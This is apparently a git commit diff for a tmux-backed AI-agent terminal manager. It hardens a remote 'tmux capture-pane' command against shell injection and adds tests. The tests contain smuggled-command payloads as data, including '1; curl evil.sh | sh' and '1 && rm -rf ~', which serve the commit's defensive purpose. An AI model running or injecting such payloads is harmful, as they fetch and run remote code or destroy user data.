Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.
TypeScript adhdagent-orchestrationai-agentscanvasclaude-codecodexcoding-agentsdeveloper-toolselectrongeminilinuxmacosmultiplexeropencodeparallel-agentsterminalterminal-emulatorterminal-multiplexertmuxworkspace-manager
fix(pty): clamp history lines at the injection sink; de-vacuous the capture tests
enes23f4053a2153
diff --git a/src/core/history-limits.ts b/src/core/history-limits.tsnew file mode 100644index 000000000..85b63fce2--- /dev/null+++ b/src/core/history-limits.ts@@ -0,0 +1,17 @@+// Scrollback-hydration caps + the clamp for an untrusted `lines` request. Deliberately a tiny,+// dependency-free module: BOTH `pty-manager` (which pulls in node-pty) and the pure ssh leaf+// `remote-ssh/control-master` import it, so the clamp can be enforced at the actual injection+// sink without dragging a native module into the pure builders.++// Reattach hydration caps: tmux history is the source, but an attach must not stall on a huge+// transfer (an ssh/mobile link pays for every byte, and `-e` colour codes inflate it).+export const HISTORY_LINES = 5000+export const HISTORY_MAX_BYTES = 1024 * 1024++/** Clamp an untrusted `lines` request (it crosses IPC / WS-RPC from a renderer, and ends up+ * interpolated into a remote `tmux capture-pane -S -<n>` shell command) to a sane integer.+ * Applied at BOTH the caller (`PtyManager.captureHistory`) and the sink+ * (`remoteCaptureHistoryArgs`), so no future call site can build an injectable command. */+export function clampHistoryLines(lines: number): number {+ return Math.min(HISTORY_LINES, Math.max(1, Math.floor(Number(lines) || HISTORY_LINES)))+}diff --git a/src/core/pty-manager.ts b/src/core/pty-manager.tsindex f511f7eb5..29576b6db 100644--- a/src/core/pty-manager.ts+++ b/src/core/pty-manager.ts@@ -21,6 +21,7 @@ import {remoteCapturePaneArgs,remoteCaptureHistoryArgs} from './remote-ssh/control-master'+import { HISTORY_LINES, HISTORY_MAX_BYTES, clampHistoryLines } from './history-limits'import { TMUX_SOCKET, sessionName } from './tmux-naming'import { releasePty, type ReleasablePty } from './pty-release'import { machOArch, archMismatch } from './macho-arch'@@ -33,10 +34,10 @@ import { AUTH_ENV_STRIP, accountTmuxEnvArgs, remoteAccountConfigDirAbs } from '.// runs on detach; the interval covers an ungraceful power loss between detaches.const SCROLLBACK_SNAPSHOT_MS = 15_000-// Reattach hydration caps: tmux history is the source, but an attach must not stall on a huge-// transfer (an ssh/mobile link pays for every byte, and `-e` colour codes inflate it).-const HISTORY_LINES = 5000-const HISTORY_MAX_BYTES = 1024 * 1024+// Reattach hydration caps + the untrusted-`lines` clamp live in a dependency-free module so the+// pure ssh arg builders can enforce the same clamp without importing node-pty. Re-exported here+// because it is part of this module's public surface (callers/tests import it from pty-manager).+export { clampHistoryLines } from './history-limits'// Async exec for tmux side-calls (capture / send-keys / kill-session) so they never block// the main event loop — a synchronous capture-pane of a large scrollback would stall every@@ -83,12 +84,6 @@ export function trimToBytes(text: string, maxBytes: number): string {return nl === -1 ? tail : tail.slice(nl + 1)}-/** Clamp an untrusted `lines` request (it crosses IPC / WS-RPC from a renderer, and ends up- * interpolated into a remote `tmux capture-pane -S -<n>` shell command) to a sane integer. */-export function clampHistoryLines(lines: number): number {- return Math.min(HISTORY_LINES, Math.max(1, Math.floor(Number(lines) || HISTORY_LINES)))-}-/** Resolve an absolute tmux path (GUI apps don't inherit the shell PATH). */function findTmux(): string | null {for (const c of ['/opt/homebrew/bin/tmux', '/usr/local/bin/tmux', '/usr/bin/tmux', '/bin/tmux']) {diff --git a/src/core/remote-ssh/control-master.test.ts b/src/core/remote-ssh/control-master.test.tsindex 03851bb6b..703f82eca 100644--- a/src/core/remote-ssh/control-master.test.ts+++ b/src/core/remote-ssh/control-master.test.ts@@ -17,7 +17,7 @@ import {remoteEndpointFileContents,scpArgs} from './control-master'-import { clampHistoryLines } from '../pty-manager'+import { clampHistoryLines } from '../history-limits'const conn = { host: 'h.example.com', user: 'deploy', port: 2222, identityFile: '/k/id' }@@ -198,4 +198,21 @@ describe('remoteCaptureHistoryArgs', () => {expect(cmd).not.toContain('curl')expect(cmd).toContain('capture-pane -p -e -t nt-x -S -5000 -E -1')})+ it('clamps at the sink: a hostile value passed DIRECTLY never reaches the command string', () => {+ // A future call site (IPC handler / Server Edition shell) that forgets the caller-side clamp+ // must still not be able to build `tmux … -S -1; curl evil.sh | sh -E -1`.+ const hostile = ['1; curl evil.sh | sh', '1 && rm -rf ~', '$(id)', '`id`', '1\nid'] as unknown as number[]+ for (const bad of hostile) {+ const cmd = remoteCaptureHistoryArgs(conn, '/tmp/cm', 'nt-x', bad).slice(-1)[0]+ expect(cmd, String(bad)).toContain('capture-pane -p -e -t nt-x -S -5000 -E -1')+ expect(cmd, String(bad)).not.toMatch(/[;&|`$()\n]/)+ }+ })+ it('clamps out-of-range numbers at the sink (floor 1, ceiling 5000, NaN → default)', () => {+ const cmdFor = (n: number): string => remoteCaptureHistoryArgs(conn, '/tmp/cm', 'nt-x', n).slice(-1)[0]+ expect(cmdFor(-1)).toContain('-S -1 -E -1')+ expect(cmdFor(10_000_000)).toContain('-S -5000 -E -1')+ expect(cmdFor(NaN)).toContain('-S -5000 -E -1')+ expect(cmdFor(12.9)).toContain('-S -12 -E -1')+ })})diff --git a/src/core/remote-ssh/control-master.ts b/src/core/remote-ssh/control-master.tsindex fa74cc50a..972d0bf60 100644--- a/src/core/remote-ssh/control-master.ts+++ b/src/core/remote-ssh/control-master.ts@@ -4,6 +4,8 @@ import os from 'os'import path from 'path'import { createHash } from 'crypto'import { quoteRemotePath, remoteTmuxCommand, type SshConnection } from '../../shared/ssh'+// Dependency-free (no node-pty): safe to import from these pure builders.+import { clampHistoryLines } from '../history-limits'/** Dedicated remote tmux socket so an SSH project never collides with the user's own tmux. */export const RMT_TMUX_SOCKET = 'nodeterm-rmt'@@ -78,18 +80,21 @@ export function remoteCapturePaneArgs(conn: SshConnection, controlPath: string,}/** Capture ONLY the history above the visible screen (`-E -1`). tmux redraws the visible screen* itself on attach, so including it here would print it twice.- * `lines` is interpolated into a remote shell command: callers MUST pass an already-clamped- * integer (see `clampHistoryLines` in pty-manager, applied at `captureHistory`'s entry point). */+ * `lines` is interpolated into a remote shell command run by the login shell, so it is clamped+ * HERE, at the injection sink — not left to a caller-side convention that a future call site+ * (an IPC handler, the Server Edition shell) could forget. `PtyManager.captureHistory` clamps+ * again at its entry point; the clamp is idempotent. */export function remoteCaptureHistoryArgs(conn: SshConnection,controlPath: string,sessionId: string,lines: number): string[] {+ const n = clampHistoryLines(lines)return childArgs(conn,controlPath,- `tmux -L ${RMT_TMUX_SOCKET} capture-pane -p -e -t ${sessionId} -S -${lines} -E -1`+ `tmux -L ${RMT_TMUX_SOCKET} capture-pane -p -e -t ${sessionId} -S -${n} -E -1`)}export function tmuxProbeArgs(conn: SshConnection, controlPath: string): string[] {diff --git a/src/core/tmux-conf.test.ts b/src/core/tmux-conf.test.tsindex 937643ffd..361805d2f 100644--- a/src/core/tmux-conf.test.ts+++ b/src/core/tmux-conf.test.ts@@ -42,6 +42,11 @@ describe('trimToBytes', () => {expect(out).not.toContain('aaaa')expect(Buffer.byteLength(out, 'utf-8')).toBeLessThanOrEqual(10)})+ it('drops the partial first line when the byte window starts mid-line', () => {+ // A 12-byte window over 15 bytes starts at 'a\nbbbb\ncccc\n' — the head line is partial and+ // must be dropped whole, not emitted as 'a'.+ expect(trimToBytes('aaaa\nbbbb\ncccc\n', 12)).toBe('bbbb\ncccc\n')+ })it('never splits a 2-byte character (cap lands mid-character)', () => {// 'ü' is 2 bytes; a cap of 9 slices the 100-byte buffer mid-character.const out = trimToBytes('ü'.repeat(50), 9)@@ -93,22 +98,35 @@ describe('PtyManager.captureHistory (untrusted `lines`)', () => {return pm}+ // The `-S` OPERAND is the only untrusted slot: `-1` is always present as the `-E` operand, so+ // assert positionally (a `toContain('-1')` would pass even with the clamp deleted).+ const historyOperand = (call: number): string => {+ const args = execFileCalls[call].args+ return args[args.indexOf('-S') + 1]+ }+it('never lets a shell-injection payload reach the tmux argv', async () => {await withTmux().captureHistory('n1', '1; curl evil | sh' as unknown as number)const argv = execFileCalls[0].args.join(' ')expect(argv).not.toContain('curl')expect(argv).not.toContain(';')- expect(argv).toContain('-S')- expect(execFileCalls[0].args).toContain('-5000')+ expect(historyOperand(0)).toBe('-5000')})it('clamps negative / NaN / oversized values to a sane integer', async () => {const pm = withTmux()await pm.captureHistory('n1', -1)- expect(execFileCalls[0].args).toContain('-1')+ expect(historyOperand(0)).toBe('-1') // floored to 1 line; without the clamp this would be `--1`await pm.captureHistory('n1', NaN)- expect(execFileCalls[1].args).toContain('-5000')+ expect(historyOperand(1)).toBe('-5000')await pm.captureHistory('n1', 10_000_000)- expect(execFileCalls[2].args).toContain('-5000')+ expect(historyOperand(2)).toBe('-5000')+ await pm.captureHistory('n1', 12.9)+ expect(historyOperand(3)).toBe('-12')+ })++ it('keeps the exact capture command shape on the local path', async () => {+ await withTmux().captureHistory('n1', 200)+ expect(execFileCalls[0].args.join(' ')).toContain('capture-pane -p -e -t nt-n1 -S -200 -E -1')})})